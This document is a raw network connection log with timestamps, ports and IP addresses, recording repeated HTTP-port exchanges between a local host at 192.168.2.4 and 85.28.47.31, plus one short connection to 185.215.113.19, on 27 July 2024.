Jul 27, 2024 05:39:18.029089928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029117107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029124975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029150963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029161930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029186964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029196978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029221058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029232025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029253960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029263973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029289007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029297113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029321909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029330969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029356003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029364109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029390097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029398918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029423952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029433966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029458046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029467106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029491901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029495955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029525995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029534101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029561043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029567003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029593945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029603004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029628038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029634953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029661894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029670000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029700041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029701948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029732943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029742956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029766083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029774904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029800892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029809952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029834986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029844999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029867887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029876947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029901981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029908895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029934883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029943943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.029968977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.029978991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.030003071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.030009985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.030040026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.030042887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.030070066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.030081034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.030109882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.030301094 CEST	49484	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:18.036312103 CEST	80	49484	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:18.129836082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.129897118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.129909039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.129950047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.129962921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130009890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130017042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130052090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130063057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130084991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130095005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130130053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130139112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130168915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130209923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130244017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130250931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130292892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130297899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130337000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130346060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130378962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130392075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130414009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130422115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130446911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130480051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130482912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130484104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130510092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130532980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130552053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130562067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130604982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130614042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130666971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130701065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130701065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130703926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130738020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130747080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130775928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130784988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130810022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130820036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130851984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130861044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130894899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130906105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130937099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.130945921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130978107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.130990982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131021023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131027937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131058931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131068945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131093025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131105900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131128073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131136894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131161928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131171942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131196022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131206036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131230116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131242037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131274939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131283045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131320000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131337881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131376982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131386995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131421089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131431103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131469965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131489038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131503105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131513119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131536007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131547928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131570101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131581068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131616116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131620884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131655931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131665945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131700039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131706953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131751060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131758928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131792068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131802082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131834984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131843090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131875038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131886959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131906986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131913900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131941080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131952047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.131973982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.131983995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132008076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132016897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132045031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132051945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132090092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132093906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132127047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132132053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132160902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132169008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132205009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132211924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132246017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132257938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132287979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132297039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132328033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132333040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132363081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132371902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132415056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132428885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132460117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132467031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132522106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132550955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132592916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132600069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132633924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132643938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132675886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132683992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132716894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132726908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132750034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132759094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132782936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132788897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132819891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132822037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132853985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132863998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132899046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132906914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132940054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.132950068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132981062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.132987976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133022070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133033991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133054018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133063078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133088112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133097887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133121014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133132935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133156061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133164883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133188963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133198977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133223057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133230925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133255959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133265018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133289099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133294106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133322001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133331060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133356094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133364916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133389950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133400917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133424044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133434057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133457899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133467913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133491039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133497953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133522987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133546114 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133558035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133568048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133591890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133603096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133626938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133635998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133660078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133668900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133694887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133702993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133728981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133738995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133763075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133773088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133795977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133805037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133830070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133838892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133860111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133872986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133893013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133903027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133925915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133935928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133960962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.133965015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.133995056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134001970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134027958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134037971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134061098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134069920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134094000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134102106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134131908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134145021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134164095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134172916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134197950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134202003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134232044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134241104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134267092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134284019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134299994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134310007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134334087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134345055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134367943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134375095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134402990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134413958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134435892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134445906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134474039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.134480000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.134517908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.220805883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.220871925 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.220925093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.220957041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.220963955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.220992088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.220992088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.220993042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221013069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221028090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221046925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221061945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221077919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221096039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221112013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221128941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221148014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221162081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221183062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221194983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221209049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221227884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221240997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221276999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221282005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221330881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221333027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221370935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221379995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.221404076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.221421957 CEST	49477	80	192.168.2.4	85.28.47.31
